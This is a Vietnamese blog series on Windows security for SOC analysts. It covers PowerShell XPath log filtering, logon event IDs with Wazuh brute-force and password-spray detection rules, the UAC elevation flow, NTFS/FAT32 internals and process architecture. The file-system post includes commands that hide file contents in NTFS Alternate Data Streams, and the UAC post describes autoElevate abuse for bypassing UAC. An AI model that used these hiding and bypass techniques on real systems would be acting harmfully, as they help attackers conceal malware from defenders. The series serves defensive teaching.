Tại sao phải quan tâm XML? Bởi vì những thông tin sinh tử như Tên tài khoản (SubjectUserName) hay Đặc quyền (PrivilegeList) được giấu sâu bên trong các node <Data>. Nếu bạn hiểu cấu trúc này, bạn có thể viết script lọc ra chính xác các đăng nhập mờ ám có đặc quyền SeDebugPrivilege (đặc quyền cho phép can thiệp bộ nhớ, cực kỳ nguy hiểm, thường dùng để dump mật khẩu lsass.exe).

4. Kỹ năng lọc log thực chiến bằng PowerShell (XPath)

Event Viewer rất nặng và chậm khi load hàng chục GB logs. Thay vào đó, SOC Analyst sử dụng PowerShell với Cmdlet Get-WinEvent kết hợp cú pháp truy vấn XPath để quét logs trong chớp mắt.

4.1 Thống kê nhanh bằng Wevtutil

Để đếm tổng số tệp nhật ký trên máy mà không cần mở giao diện đồ họa, bạn có thể dùng lệnh:

wevtutil.exe el | find /c /v ""

(Lệnh này liệt kê tất cả các log el và đếm tổng số dòng)

4.2 Săn tìm mã độc với Get-WinEvent & XPath

Giả sử bạn nghi ngờ có kẻ đang liệt kê danh sách nhóm cục bộ (Event ID 4798) để tìm nhóm Admin. Thay vì cuộn chuột thủ công, hãy ném cú pháp XPath này vào PowerShell:

# Lọc toàn bộ Log Security, chỉ lấy các sự kiện có Event ID = 4798
Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=4798)]]"

Nâng cao hơn: Lọc dựa trên EventData (Dữ liệu bên trong) Nếu bạn muốn tìm đích danh Log Logon thất bại (EID 4625) nhưng chỉ lọc các lần thất bại có mã lỗi 0xC0000064 (Tên người dùng không tồn tại - Dấu hiệu của việc dò quét tài khoản), bạn có thể viết Rule XPath truy vấn thẳng vào lớp <EventData>:

# Tìm các log đăng nhập sai (4625) với mã lỗi (Status) là 0xC0000064
$Query = "*[System[EventID=4625] and EventData[Data[@Name='Status']='0xc0000064']]"
Get-WinEvent -LogName Security -FilterXPath $Query | Select-Object TimeCreated, Message

Sức mạnh của XPath cho phép các nhà phân tích SOC trích xuất hàng triệu sự kiện (Events) chỉ trong vài giây, và đây cũng chính là cơ sở cốt lõi để xây dựng các tập luật (Rules) tự động cho hệ thống SIEM (như Wazuh hay Splunk).

Như vậy, chúng ta đã nắm trong tay cách hệ điều hành “ghi sổ” mọi biến động. Bằng cách làm chủ các mã Event ID và kỹ thuật lọc XML bằng PowerShell, bạn đã biến mình từ một người bị động trở thành một “thợ săn” (Threat Hunter) chủ động đi tìm những bất thường trên hệ thống. Ở bài viết tới, chúng ta sẽ tìm hiểu về cách kết hợp Event Logs với Sysmon (System Monitor) – một công cụ biến nhật ký Windows thành hệ thống giám sát cấp độ quân sự. Đừng bỏ lỡ nhé!

Truy vết Đăng nhập

Fri, 08 May 2026 12:00:00 +0700

Chào mừng các bạn tiếp tục với Series Giải phẫu Windows OS & SOC Analytics! Bất kỳ cuộc tấn công mạng nào, dù tinh vi đến đâu, cũng thường bắt đầu hoặc kết thúc bằng việc kẻ tấn công cố gắng “gõ cửa” hệ thống qua cơ chế đăng nhập. Đối với một nhà phân tích SOC, nhánh Security Logs là mỏ vàng, và các sự kiện Đăng nhập/Đăng xuất (Logon/Logoff) chính là chìa khóa để nhận diện kẻ xâm nhập. Hôm nay, chúng ta sẽ “mổ xẻ” bộ 3 Event ID sinh tử: 4624, 4625, 4648 cùng từ điển Logon Types để vạch trần mọi kỹ thuật dò mật khẩu hay mạo danh trên hệ thống.

1. Từ điển “Logon Types”: Ngôn ngữ giao tiếp của Hệ điều hành

Khi bạn phân tích một log đăng nhập (dù thành công hay thất bại), việc chỉ nhìn vào tài khoản (Account Name) là chưa đủ. Bạn bắt buộc phải nhìn vào Logon Type (Cách thức đăng nhập) để biết kẻ đó đang “vào nhà” bằng cửa chính, cửa sổ hay leo rào.

Dưới đây là các Logon Type quan trọng nhất mà một SOC Analyst phải thuộc nằm lòng:

Type 2 (Interactive): Đăng nhập tương tác trực tiếp. Nghĩa là người dùng (hoặc kẻ tấn công) đang thực sự ngồi trước bàn phím vật lý của cái máy tính đó để gõ mật khẩu.
Type 3 (Network): Truy cập qua mạng. Thường thấy khi người dùng truy cập vào thư mục dùng chung (File Share), máy in mạng hoặc khi một tập lệnh từ xa được thực thi.
Type 4 (Batch): Đăng nhập dạng khối. Thường được sử dụng bởi các tác vụ lập lịch (Scheduled Tasks) tự động chạy định kỳ.
Type 5 (Service): Đăng nhập dạng dịch vụ. Đây là lúc một dịch vụ hệ thống khởi chạy ngầm dưới quyền một tài khoản cụ thể. Góc nhìn SOC: Nếu hàng trăm log Type 5 nổ ra từ các dịch vụ lạ, có thể mã độc đang tự động gọi tiến trình (spawn process) hàng loạt.
Type 10 (Remote Interactive): Đăng nhập qua Remote Desktop Protocol (RDP). Đây là Logon Type bị hacker lợi dụng nhiều nhất để tấn công từ xa.

2. Event ID 4625: Tiếng “gõ cửa” của kẻ lạ mặt (Logon Failure)

Mỗi khi có người nhập sai mật khẩu, Windows sẽ sinh ra Event ID 4625. Một vài log 4625 rải rác là bình thường (do người dùng gõ nhầm), nhưng nếu nó nổ ra hàng loạt, hệ thống của bạn đang bị tấn công.

Để biết chính xác mục tiêu của kẻ tấn công, chúng ta dựa vào trường Status và Sub Status (Mã lỗi):

0xC000006A (Bad Password): Tài khoản có tồn tại, nhưng gõ sai mật khẩu.
0xC0000064 (User Does Not Exist): Tên người dùng không tồn tại. Nếu bạn thấy mã này nhiều lần, hacker đang thực hiện dò quét liệt kê tài khoản (Username Enumeration).
0xC0000234 (Account Locked): Đăng nhập vào một tài khoản đã bị khóa do gõ sai quá số lần quy định.

2.1 Kỹ năng phân biệt Brute Force và Password Spraying

Brute Force (Vét cạn): Hacker nhắm vào 1 tài khoản (VD: Administrator) và thử hàng nghìn mật khẩu khác nhau. Dấu hiệu: Nhiều log 4625 liên tiếp, cùng một Account Name, mã lỗi 0xC000006A, dồn dập trong vài giây từ một IP lạ (Source Network Address).
Password Spraying (Phun mật khẩu): Để tránh bị khóa tài khoản (Account Lockout), hacker lấy 1 mật khẩu phổ biến (VD: “Admin@123”) và thử lần lượt trên hàng trăm user khác nhau. Dấu hiệu: Nhiều log 4625, cùng một IP nguồn, nhưng Account Name thay đổi liên tục, xuất hiện mã lỗi trộn lẫn giữa 0xC000006A và 0xC0000064.

3. Event ID 4624: Khi cánh cửa mở ra (Logon Success)

Event ID 4624 cho biết một tài khoản đã đăng nhập thành công vào hệ thống. Nếu log này xuất hiện ngay sau một chuỗi dài các log 4625, xin chia buồn, hệ thống của bạn đã bị xuyên thủng!

Mẹo điều tra với RDP (Network Level Authentication - NLA): Khi hệ thống bật tính năng xác thực cấp mạng (NLA) cho Remote Desktop, quy trình sinh log sẽ hơi “đánh lừa” bạn một chút:

Đầu tiên, máy khách gửi thông tin xác thực lên. Windows xử lý việc này như một kết nối mạng thông thường và ghi nhận Log 4624 với Logon Type 3.

Sau khi xác thực Type 3 thành công, phiên giao diện đồ họa RDP mới thực sự được vẽ ra. Lúc này Windows mới tiếp tục ghi nhận thêm một Log 4624 với Logon Type 10.

Khi điều tra, bạn nhớ ghi lại trường thông tin Logon ID (VD: 0x183C36D). Đây là mã định danh phiên làm việc, giúp bạn xâu chuỗi mọi hoạt động (tạo tiến trình, truy cập file) mà tài khoản đó thực hiện sau khi vào máy.

4. Event ID 4648: Kỹ thuật Mạo danh (Explicit Credentials)

Hacker không phải lúc nào cũng đăng nhập từ bên ngoài vào. Nếu chúng đã lọt vào máy bạn dưới quyền một người dùng thường (nhân viên lễ tân), chúng sẽ cố gắng mạo danh Admin bằng kỹ thuật sử dụng thông tin xác thực rõ ràng (Explicit Credentials) - sinh ra Event ID 4648.

Log 4648 ghi lại việc một tiến trình cố gắng đăng nhập vào một tài khoản bằng cách “mượn” danh tính (như lệnh runas) thay vì đăng nhập trực tiếp qua màn hình.

Dấu hiệu báo động đỏ (Red Flag) từ 4648:

SubjectUserName: Người dùng thường.
TargetUserName: Administrator hoặc Service account.
Process Name: Bình thường sẽ là explorer.exe hoặc mmc.exe. Nếu bạn thấy tiến trình thực hiện hành động này là powershell.exe, cmd.exe hoặc rundll32.exe, 100% đó là mã độc đang thực hiện leo thang đặc quyền (Privilege Escalation) hoặc di chuyển ngang (Lateral Movement) sang máy chủ khác.

5. Thực chiến SOC: Viết Rule giám sát bằng SIEM (Wazuh)

Đứng ở góc độ một SOC Analyst, chúng ta không đếm log bằng tay mà sẽ cấu hình các SIEM rule tự động báo động. Dưới đây là ví dụ cấu hình mã XML cho Wazuh để phát hiện hành vi Brute Force và Password Spraying:

Phát hiện Brute Force (Vét cạn 1 tài khoản)

Rule này sẽ cảnh báo nếu có 5 lần gõ sai mật khẩu (EID 4625) vào cùng một tài khoản trong vòng 60 giây:

<rule id="100001" level="10">
 <if_sid>4625</if_sid>
 <frequency>5</frequency>
 <timeframe>60</timeframe>
 <same_field>win.eventdata.TargetUserName</same_field>
 <description>Multiple failed logon - possible brute force nhắm vào 1 tài khoản</description>
</rule>

Phát hiện Password Spraying (Phun mật khẩu qua RDP)

Rule này cực kỳ sắc bén: Nếu Logon Type là 10 (RDP) bị lỗi sai mật khẩu (0xC000006A) trên 5 tài khoản khác nhau trong vòng 5 phút (300 giây):

<rule id="100013" level="12">
 <if_sid>4625</if_sid>
 <field name="win.eventdata.LogonType">10</field>
 <field name="win.eventdata.Status">0xC000006A</field>
 <different_field>win.eventdata.TargetUserName</different_field>
 <frequency>5</frequency>
 <timeframe>300</timeframe>
 <description>RDP Password Spray - {frequency} tài khoản khác nhau đăng nhập RDP thất bại trong {timeframe} giây</description>
</rule>

Việc đọc hiểu cấu trúc Event Logs liên quan đến Authentication là kỹ năng nền tảng giúp SOC Analyst phân tách được các nỗ lực truy cập mạng hợp lệ khỏi các chiến dịch xâm nhập. Chỉ cần bắt được một gợn sóng nhỏ từ 4625 hay 4648, bạn hoàn toàn có thể chặt đứt cuộc tấn công ngay từ lúc kẻ gian đang đứng ngoài cửa. Ở bài viết tiếp theo, chúng bản phân tích kỹ hơn về dấu vết của Hacker sau khi chúng đã xâm nhập: Quản lý người dùng, tạo Backdoor và các log báo hiệu bị thay đổi đặc quyền (EID 4672, 4720, 4732). Hãy cùng theo dõi nhé!

User Account Control (UAC)

Fri, 08 May 2026 12:00:00 +0700

Chào mừng các bạn quay trở lại với Series Giải phẫu Windows OS & SOC Analytics! Nếu Registry là “bộ não”, Event Logs là “nhật ký”, thì UAC chính là “người gác cổng” khó tính nhất của Windows. Bạn từng tự hỏi tại sao mình đã đăng nhập bằng tài khoản Administrator mà thỉnh thoảng Windows vẫn làm tối đen màn hình và hỏi “Bạn có chắc chắn muốn chạy phần mềm này không?”. Hôm nay, chúng ta sẽ đi sâu vào hệ thống phân quyền phức tạp này để hiểu tại sao nó lại là chốt chặn bảo mật quan trọng nhất, và cách các tiến trình hệ thống như Appinfo hay consent.exe vận hành.

1. Bản chất của UAC và Nguyên lý 2 “Thẻ bài” (Tokens)

User Account Control (UAC) là một tính năng bảo mật nhằm ngăn chặn các thay đổi trái phép đối với hệ điều hành. Cơ chế cốt lõi của nó nghe có vẻ ngược đời: Ngay cả khi bạn đăng nhập bằng tài khoản Quản trị viên (Administrator), các ứng dụng mà bạn mở lên mặc định vẫn chỉ chạy với quyền Người dùng tiêu chuẩn (Standard User).

Làm sao Windows làm được điều này? Nguyên lý nằm ở các Access Tokens (Thẻ bài quyền lực). Khi bạn đăng nhập bằng tài khoản Admin, Windows thực chất không cấp cho bạn toàn quyền ngay lập tức. Thay vào đó, nó cấp cho bạn 2 “thẻ bài”: Một thẻ User thường và một thẻ Admin.

Trong quá trình sử dụng bình thường (lướt web, gõ văn bản), hệ thống chỉ dùng thẻ User. Chỉ khi nào bạn (hoặc một ứng dụng) cần thực hiện các hành động “nhạy cảm” (như sửa Registry hệ thống, cài driver), UAC mới hiện ra bảng thông báo để bạn xác nhận “nâng quyền” (Elevation). Lúc này, thẻ Admin mới được rút ra để sử dụng.

2. Ranh giới ưu tiên: Integrity Levels (Mức độ toàn vẹn)

Để SOC Analyst có thể phát hiện tiến trình nào đang chạy quyền cao hay thấp, chúng ta dựa vào khái niệm Integrity Levels (IL). Hãy cùng làm một bài test thực tế: Mở hai cửa sổ Command Prompt (CMD), một cái mở bình thường (Open) và một cái mở bằng quyền Admin (Run as administrator).

Nếu soi hai tiến trình này bằng công cụ Process Hacker hoặc Sysinternals, bạn sẽ thấy sự khác biệt “một trời một vực”:

2.1 Cửa sổ CMD bình thường (Quyền thấp)

Nhóm BUILTIN\Administrators: Có cờ (Flag) là Deny. Điều này nghĩa là hệ thống đang nói: “Dù tài khoản của anh là Admin, nhưng cửa sổ này bị tước quyền quản trị”.
Integrity Level: Chạy ở mức Medium Mandatory Level. Đây là mức độ trung bình mặc định của người dùng thường.
Privileges (Đặc quyền): Chỉ có một danh sách rất ngắn các quyền cơ bản, không thể can thiệp sâu vào hệ thống.

2.2 Cửa sổ CMD “Run as administrator” (Quyền cao)

Nhóm BUILTIN\Administrators: Có cờ là Owner. Cửa sổ này có toàn quyền thực thi các lệnh hệ thống.
Integrity Level: Chạy ở mức High Mandatory Level. Mọi tiến trình do CMD này sinh ra (như chạy file .exe) đều sẽ kế thừa quyền High IL này.
Privileges (Đặc quyền): Danh sách dài hơn rất nhiều, bao gồm các quyền cực kỳ nguy hiểm như SeBackupPrivilege, SeImpersonatePrivilege và đặc biệt là SeDebugPrivilege (quyền gỡ lỗi, thường bị malware lợi dụng để can thiệp bộ nhớ).

3. Secure Desktop: Bức tường thành cô lập

Khi bảng thông báo UAC hiện lên, bạn có để ý rằng toàn bộ màn hình nền phía sau bị tối đen lại và bạn không thể click chuột vào bất kỳ ứng dụng nào khác không? Đó chính là tính năng Secure Desktop.

Mục đích cốt lõi: Secure Desktop tạo ra một màn hình nền hoàn toàn riêng biệt, cách ly bảng hỏi UAC khỏi không gian làm việc hiện tại. Nó đảm bảo rằng không có bất kỳ một phần mềm mã độc nào chạy ngầm có khả năng can thiệp hay “ấn hộ” bạn nút Yes. Chỉ có con người thật, cầm con chuột vật lý mới có thể tương tác với bảng thông báo này.

Tùy vào nhu cầu, Windows cho phép bạn thiết lập 4 cấp độ (Level) của UAC trong cài đặt:

Always Notify: Mức cao nhất, luôn làm tối màn hình (Secure Desktop) và hỏi khi có thay đổi.
Notify me only when apps try to make changes (Default): Chỉ hỏi khi ứng dụng bên thứ ba thay đổi hệ thống, không hỏi khi bạn tự tay chỉnh cài đặt Windows.
Notify me only when apps try to make changes (Do not dim my desktop): Giống mức 2 nhưng không làm tối màn hình. Góc nhìn SOC: Mức này rất nguy hiểm vì không dùng Secure Desktop, mã độc có thể dùng kỹ thuật giả lập click chuột (Clickjacking) để tự bấm Yes.
Never Notify (Disable): Tắt hoàn toàn UAC. Đây thực sự là “thiên đường” cho hacker, vì mã độc có thể tự do leo thang quyền hạn từ Medium lên High mà không gặp bất cứ rào cản nào.

4. Giải phẫu quy trình hoạt động của UAC

Để qua mặt được UAC, hacker phải hiểu tường tận quy trình hệ thống xử lý yêu cầu nâng quyền. Dưới góc nhìn kỹ thuật, “trái tim” của UAC là Dịch vụ Thông tin Ứng dụng (Appinfo). Khi bạn click “Run as administrator”, 6 bước sau sẽ diễn ra trong chớp mắt:

Gửi yêu cầu: Người dùng yêu cầu chạy một ứng dụng (ví dụ: cmd.exe) với quyền quản trị.
Gọi API: Lệnh gọi API ShellExecute của Windows được kích hoạt, mang theo một động từ (verb) đặc biệt là runas.
Appinfo tiếp nhận: Yêu cầu này không được xử lý ngay mà chuyển tiếp đến dịch vụ Appinfo để quản lý việc nâng quyền.
Kiểm tra Manifest: Dịch vụ Appinfo sẽ đọc tệp kê khai (Manifest) của ứng dụng đó để xem tính năng Tự động nâng quyền (autoElevate) có được cho phép hay không. (Bật mí: Hacker rất thích lợi dụng các file có sẵn autoElevate của Microsoft).
Bật Secure Desktop: Appinfo thực thi tiến trình consent.exe. Chính consent.exe là kẻ làm tối màn hình của bạn và vẽ ra cái bảng hỏi (Yes/No) trên môi trường Secure Desktop cô lập.
Cấp “Thẻ bài”: Nếu bạn bấm Yes đồng ý, dịch vụ Appinfo sẽ lấy cái Mã thông báo nâng cao (Elevated Token - thẻ Admin) của bạn ra và áp vào ứng dụng. Sau đó, ứng dụng sẽ chính thức được khởi chạy dưới quyền High Integrity.

UAC được thiết kế như một chốt chặn hoàn hảo giữa người dùng và quyền kiểm soát hệ thống. Tuy nhiên, không có bức tường thành nào là không thể vượt qua. Ở Bước 4 của quy trình trên, việc Windows cho phép một số tiến trình hệ thống được “Tự động nâng quyền” (AutoElevate) để tránh làm phiền người dùng chính là một lỗ hổng chí mạng. Trong bài viết tiếp theo, chúng ta sẽ trực tiếp thực hành đóng vai Hacker: Sử dụng tiến trình fodhelper.exe kết hợp Registry Hijacking để lách qua UAC một cách “không kèn không trống” (UAC Bypass). Hẹn gặp lại các bạn!

File System - NTFS, FAT32 và ADS

Fri, 08 May 2026 11:30:00 +0700

Ở các bài viết trước, chúng ta đã “mổ xẻ” quá trình khởi động và đọc hiểu cấu trúc phân vùng ổ cứng ở mức vật lý. Nhưng khi hệ điều hành đã lên, làm sao nó biết tệp tin malware.exe nằm ở đâu giữa hàng tỷ byte dữ liệu hỗn độn? Hôm nay, chúng ta sẽ bước vào thế giới của Hệ thống tệp (File System) – người quản lý kho vĩ đại của hệ điều hành, và khám phá những góc khuất mà hacker thường lợi dụng để ẩn mình.

1. Hệ thống tệp (File System) thực chất là gì?

Nếu bạn tưởng tượng ổ cứng vật lý là một cái kho chứa khổng lồ trống rỗng, thì Tệp (File) chính là những thùng hàng chứa đồ đạc. Vậy Hệ thống tệp (File System) là gì? Nó chính là thủ kho và bộ sổ sách quản lý. Thủ kho sẽ quyết định thùng hàng này đặt ở kệ nào, ghi chú vào sổ để khi bạn cần, họ có thể lấy ra ngay lập tức.

Về mặt kỹ thuật, đĩa vật lý chia thành các Sector (đơn vị lưu trữ nhỏ nhất, thường là 512 byte). Tuy nhiên, để quản lý dễ dàng hơn, hệ điều hành gom các Sector lại thành các Cluster (Liên cung). Một Cluster là “đơn vị thuê đất” nhỏ nhất; một tệp dù chỉ chứa 1 chữ cái cũng sẽ được cấp ít nhất 1 Cluster.

Nếu không có Hệ thống tệp, dữ liệu trên ổ cứng sẽ chỉ là một khối bit khổng lồ không có điểm bắt đầu hay kết thúc.

2. FAT32: Kẻ lỗi thời nhưng không thể thay thế

FAT32 (File Allocation Table 32-bit) ra đời từ thời Windows 95 để thay thế cho FAT16, sử dụng 28-bit để đánh số Cluster. Mặc dù đã cũ, nó vẫn được dùng rất phổ biến trên USB, thẻ nhớ máy ảnh và các thiết bị IoT vì tính tương thích cao với mọi hệ điều hành.

2.1 Kiến trúc cốt lõi của FAT32

Một phân vùng FAT32 được chia làm 3 vùng chính:

Reserved Region (Vùng lưu trữ): Chứa Boot Sector (Sector 0) lưu các tham số cấu hình BIOS (BPB) và FSInfo (Sector 1) lưu số lượng Cluster còn trống.
FAT Region (Vùng bảng FAT): Cuốn “mục lục” khổng lồ của ổ đĩa. Nó chứa Bảng cấp phát tệp (thường có FAT1 và bản dự phòng FAT2) ghi lại tệp nào nằm ở Cluster nào và Cluster tiếp theo là gì.
Data Region (Vùng dữ liệu): Nơi chứa nội dung thực sự của các tệp và Thư mục gốc.

Cơ chế nối xích (Cluster Chain): Khi bạn lưu một file nặng 10KB vào đĩa có Cluster 4KB, file sẽ bị cắt làm 3 phần. Bảng FAT sẽ ghi lại mối liên kết: “Cluster A trỏ tới B”, “Cluster B trỏ tới C”, và “Cluster C là kết thúc (EOF)”.

2.2 Những giới hạn “huyền thoại” và Dấu vết Forensics

Điểm yếu chí mạng của FAT32 là nó chỉ hỗ trợ kích thước file tối đa 4GB và Windows mặc định chỉ cho tạo phân vùng tối đa 32GB. Ngoài ra, nó không hỗ trợ tính năng phân quyền bảo mật (như NTFS), ai cắm USB vào cũng có thể đọc được file.

Góc nhìn Forensics: Khi một tệp bị xóa trên FAT32, hệ thống không hề xóa dữ liệu thực sự. Nó chỉ đổi ký tự đầu tiên của tên tệp thành mã Hex 0xE5 để báo hiệu rằng vùng nhớ đó đã “được giải phóng”. Bằng các công cụ chuyên dụng (như Autopsy), SOC Analyst hoàn toàn có thể khôi phục lại (Carving) các tệp tin mã độc đã bị hacker vội vàng xóa đi.

3. NTFS: Kẻ kế thừa mạnh mẽ và phức tạp

Để đáp ứng nhu cầu bảo mật và lưu trữ khổng lồ, Windows hiện đại chuyển sang dùng NTFS (New Technology File System). NTFS vượt qua giới hạn 4GB, hỗ trợ phân quyền truy cập (ACLs), nén file và đặc biệt là khả năng tự phục hồi nhờ tính năng Nhật ký (Journaling).

Cấu trúc NTFS bao gồm: Boot Sector, MFT (Master File Table), MFT Mirror (bản sao dự phòng), và Vùng dữ liệu (Data Area).

3.1 “Trái tim” MFT (Master File Table)

MFT là một tệp đặc biệt có tên $MFT. Trong NTFS, mọi thứ đều là một tệp, kể cả chính hệ thống tệp! Mỗi tệp, thư mục trên ổ đĩa đều có một bản ghi (Record) tương ứng bên trong MFT.

Bản ghi MFT chứa siêu dữ liệu cực kỳ chi tiết: Tên tệp, quyền truy cập, dấu thời gian (MACB - Modified, Accessed, Created, Birth), và con trỏ trỏ đến vị trí Cluster chứa dữ liệu thực sự. Nếu một tệp có kích thước cực nhỏ, nội dung của nó thậm chí được lưu trực tiếp ngay bên trong bản ghi MFT (Resident Data)!

3.2 “Camera an ninh” Journaling ($LogFile và $USNJrnl)

Đây là “mỏ vàng” cho Blue Team khi điều tra dấu vết mã độc:

$LogFile: Ghi lại mọi thay đổi siêu dữ liệu (tạo, xóa, sửa tệp) trước khi chúng được ghi xuống đĩa, giúp hệ thống khôi phục tính nhất quán nếu bị sập nguồn.
$USNJrnl (Update Sequence Number Journal): Nằm trong thư mục $Extend, nó cung cấp bản ghi lịch sử mọi hoạt động của tệp tin. Nếu mã độc tạo một file rồi xóa ngay lập tức để phi tang, $USNJrnl (cụ thể là luồng dữ liệu $J) vẫn lưu lại mã sự kiện USN_REASON_FILE_CREATE và USN_REASON_FILE_DELETE.

4. Alternate Data Streams (ADS) - Kỹ thuật ẩn mình của Mã độc

Cuối cùng, chúng ta sẽ đề cập đến góc khuất nguy hiểm nhất của NTFS: Alternate Data Streams (ADS).

Theo thiết kế ban đầu, ADS là một tính năng ẩn giúp một tệp tin NTFS có thể chứa nhiều luồng dữ liệu (streams) khác nhau. Luồng chính chứa nội dung mà chúng ta nhìn thấy, trong khi luồng phụ chứa các siêu dữ liệu. Điển hình nhất, Windows dùng luồng Zone.Identifier để đánh dấu các tệp được tải về từ Internet nhằm hiển thị cảnh báo bảo mật.

Kỹ thuật giấu mã độc (Hide Payload): Hacker nhận ra rằng luồng phụ của ADS có thể chứa một lượng dữ liệu bất kỳ mà dung lượng file hiển thị bên ngoài trong File Explorer không hề thay đổi. Chúng có thể đính kèm một mã độc nặng hàng chục Megabyte vào đằng sau một tệp .txt vô hại nặng vài Kilobyte!

4.1 Thực hành tạo và phát hiện ADS

Bạn có thể tự tay tạo một luồng ADS bằng lệnh Command Prompt rất đơn giản:

:: Nhét dòng chữ "hiden" vào luồng phụ mang tên "hiden" đằng sau tệp hiddendata.txt
notepad hiddendata.txt:hiden

:: Nhét toàn bộ nội dung của tệp hinhconmeo.jpg vào luồng ADS của file hiddendata.txt
type hinhconmeo.jpg > hiddendata.txt:hinhmeo.jpg

Để phát hiện mã độc đang lẩn trốn trong ADS, lệnh dir thông thường sẽ hoàn toàn vô dụng. Bạn bắt buộc phải thêm tham số /r:

:: Kiểm tra các tệp có chứa luồng dữ liệu ẩn (ADS)
dir /r

Khi chạy lệnh này, bạn sẽ thấy kết quả hiển thị dạng <Tên_tệp>:<Tên_luồng>:$DATA (ví dụ: hiddendata.txt:hiden:$DATA), bóc trần hoàn toàn vị trí ẩn náu của tệp tin độc hại.

Tóm lại, hiểu thấu bề mặt cấu trúc File System không chỉ giúp chúng ta biết máy tính lưu trữ dữ liệu ra sao, mà còn cung cấp bộ công cụ tối thượng để săn lùng các đoạn mã độc cố tình bị xóa hoặc bị che giấu tinh vi. Trong bài viết tiếp theo, chúng sẽ chuyển hướng sang một khu vực nhạy cảm không kém: Giải phẫu “Bộ não” cấu hình Windows Registry và các điểm neo duy trì sự hiện diện của Malware. Các bạn nhớ đón đọc nhé!

User Mode, Kernel Mode

Thu, 07 May 2026 21:30:00 +0700

Ở hai bài viết trước, chúng ta đã cùng nhau chứng kiến cách máy tính thức giấc và giải phẫu bề mặt vật lý của ổ cứng. Bây giờ, hệ điều hành đã được nạp thành công lên RAM. Nhưng làm sao Windows có thể quản lý hàng trăm phần mềm chạy cùng lúc mà không để chúng “dẫm chân” lên nhau hay làm sập toàn bộ hệ thống?

1. Ranh giới sinh tử: User Mode và Kernel Mode

Để bảo vệ cốt lõi của mình, Windows chia không gian bộ nhớ và quyền thực thi lệnh thành hai thế giới song song và hoàn toàn cách biệt: User Mode (Chế độ người dùng) và Kernel Mode (Chế độ hạt nhân).

1.1 Kernel Mode - Vùng đất của những “Vị thần”

Kernel Mode nắm giữ “thượng phương bảo kiếm” của hệ thống.

Quyền hạn: Có toàn quyền kiểm soát CPU, RAM và mọi thiết bị ngoại vi. Nó làm nhiệm vụ phân chia thời gian CPU cho các ứng dụng, quản lý bộ nhớ và điều khiển phần cứng qua các driver.
Không gian bộ nhớ: Tất cả các thành phần chạy trong Kernel Mode dùng chung một vùng nhớ hệ thống duy nhất.
Mức độ an toàn (Sự trả giá): Vì dùng chung bộ nhớ và có quyền cao nhất, nếu bất kỳ một đoạn mã nào ở đây (như Kernel ntoskrnl.exe hay một Driver card đồ họa) bị lỗi, hệ điều hành không thể tự phục hồi. Kết quả? Toàn bộ hệ thống sẽ sập, dẫn đến lỗi Màn hình xanh chết chóc (BSoD) huyền thoại.

1.2 User Mode - Khu cách ly an toàn

Ngược lại, User Mode là nơi cung cấp môi trường cho chúng ta làm việc, chạy giao diện và xử lý logic ứng dụng. Hầu hết mọi thứ bạn mở (Chrome, Word, các dịch vụ chạy nền) đều nằm ở đây.

Quyền hạn: Cực kỳ hạn chế. Ứng dụng ở User Mode không được phép trực tiếp chạm vào phần cứng hay bộ nhớ dùng chung.
Không gian bộ nhớ: Mỗi tiến trình được cấp một vùng bộ nhớ ảo biệt lập. Chrome không thể tự tiện đọc bộ nhớ của Word.
Mức độ an toàn: Rất cao. Nếu một ứng dụng User Mode bị lỗi (Crash), chỉ ứng dụng đó bị đóng lại, Windows vẫn sống khỏe.

Câu hỏi thực chiến: Nếu User Mode không được chạm vào phần cứng, làm sao Chrome có thể vẽ đồ họa lên màn hình hay lưu file xuống ổ cứng? Trả lời: Ứng dụng phải “nhờ vả” Kernel thông qua một cánh cổng gọi là API (System Calls). Kernel sẽ tiếp nhận yêu cầu, kiểm tra tính hợp lệ, thay mặt ứng dụng thực thi trên CPU/phần cứng, rồi trả kết quả về.

2. Giám sát ranh giới bằng Task Manager

Là một người làm bảo mật, bạn hoàn toàn có thể theo dõi xem CPU đang dồn sức cho thế giới nào bằng công cụ Task Manager có sẵn của Windows. Bạn hãy mở Task Manager -> tab Performance -> Nhấp chuột phải vào biểu đồ CPU và chọn Show kernel times.

Lúc này trên biểu đồ sẽ xuất hiện hai thành phần:

Đường nét đứt (Kernel Mode): Cho thấy CPU đang tốn bao nhiêu % công suất để xử lý các việc “hậu cần” của hệ điều hành (quản lý bộ nhớ, điều khiển driver, xử lý ngắt…).
Khoảng trống giữa nét đứt và đỉnh biểu đồ (User Mode): Đại diện cho mức tiêu thụ của các ứng dụng đang mở.

SOC Lưu ý: Nếu máy tính không mở phần mềm nào nặng, nhưng đường nét đứt (Kernel Mode) lại tăng vọt bất thường, rất có thể một Driver rác hoặc một Rootkit (mã độc mức Kernel) đang âm thầm hoạt động.

3. Giải phẫu hệ sinh thái Tiến trình cốt lõi

Sau khi Kernel (ntoskrnl.exe) yên vị trên RAM, tiến trình System (PID 4) sẽ tạo ra tiến trình User-mode đầu tiên: smss.exe (Session Manager Subsystem). Đây chính là “ông tổ” của mọi tiến trình sau này.

Nhiệm vụ của smss.exe là thiết lập bộ nhớ ảo, biến môi trường và đặc biệt là chia phòng (tạo Session). Windows chia làm 2 Session chính:

Session 0: Khu vực cấm địa, cách ly hoàn toàn giao diện, chỉ dành cho các dịch vụ hệ thống ngầm.
Session 1 (hoặc các số lớn hơn): Dành cho người dùng đăng nhập và tương tác.

3.1 Trong cõi Session 0 (Hệ thống)

Tại đây, smss.exe gọi ra hai cận vệ trung thành:

csrss.exe (Client/Server Runtime Subsystem): Xử lý các tác vụ nền cho Session 0.
wininit.exe (Windows Initialize): Kẻ khởi tạo dịch vụ hệ thống. Từ wininit.exe, một loạt các tiến trình trọng yếu khác ra đời:
- services.exe: Quản lý toàn bộ các dịch vụ (Services) của Windows. Nó khởi chạy hàng loạt các dịch vụ được bọc trong vỏ bọc svchost.exe (Service Host) để thực thi các DLL hệ thống.
- lsass.exe (Local Security Authority Subsystem Service): Người gác đền tối cao, chịu trách nhiệm xác thực và quản lý bảo mật.

3.2 Trong cõi Session người dùng (Session 1+)

Khi bạn chuẩn bị đăng nhập, smss.exe tạo ra:

Một bản sao csrss.exe mới: Để quản lý giao diện console cho người dùng.
winlogon.exe: Tiến trình vẽ lên màn hình đăng nhập yêu cầu bạn nhập mật khẩu.

Quy trình Xác thực (Authentication Flow): Khi bạn gõ mật khẩu, winlogon.exe không tự kiểm tra. Nó gói thông tin đó gửi thẳng xuống cho “người gác đền” lsass.exe ở Session 0. lsass.exe sẽ đối chiếu mật khẩu. Nếu đúng, lsass.exe gật đầu, tạo ra một Access Token (Thẻ bài quyền lực) và cấp quyền cho phiên đăng nhập của bạn.

